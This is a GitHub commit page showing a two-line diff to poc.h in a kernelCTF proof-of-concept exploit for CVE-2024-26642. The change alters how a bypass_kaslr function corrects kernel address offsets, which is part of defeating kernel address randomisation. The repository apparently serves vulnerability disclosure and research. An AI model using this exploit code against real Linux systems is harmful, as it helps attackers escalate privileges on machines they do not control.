Skip to content

Commit 4732028

Browse files
committed
Solve comments
1 parent 3999bb5 commit 4732028

File tree

2 files changed

+2
-2
lines changed
  • pocs/linux/kernelctf/CVE-2024-26642_mitigation/exploit/mitigation-v3-6.1.55

2 files changed

+2
-2
lines changed

pocs/linux/kernelctf/CVE-2024-26642_mitigation/exploit/mitigation-v3-6.1.55/poc.h

+2-2
Original file line numberDiff line numberDiff line change
@@ -680,8 +680,8 @@ int64_t bypass_kaslr(u64 base) {
680680
printf("kernel off: %lld\n", off);
681681

682682
//return off;
683-
684-
#define x(name) { name -= off; printf("corrected %s to %llx\n", #name, name); }
683+
i64 diff = 0xffffffff81000000- base;
684+
#define x(name) { name -= diff; printf("corrected %s to %llx\n", #name, name); }
685685
FOR_ALL_OFFSETS(x);
686686
#undef x
687687

0 commit comments

Comments
 (0)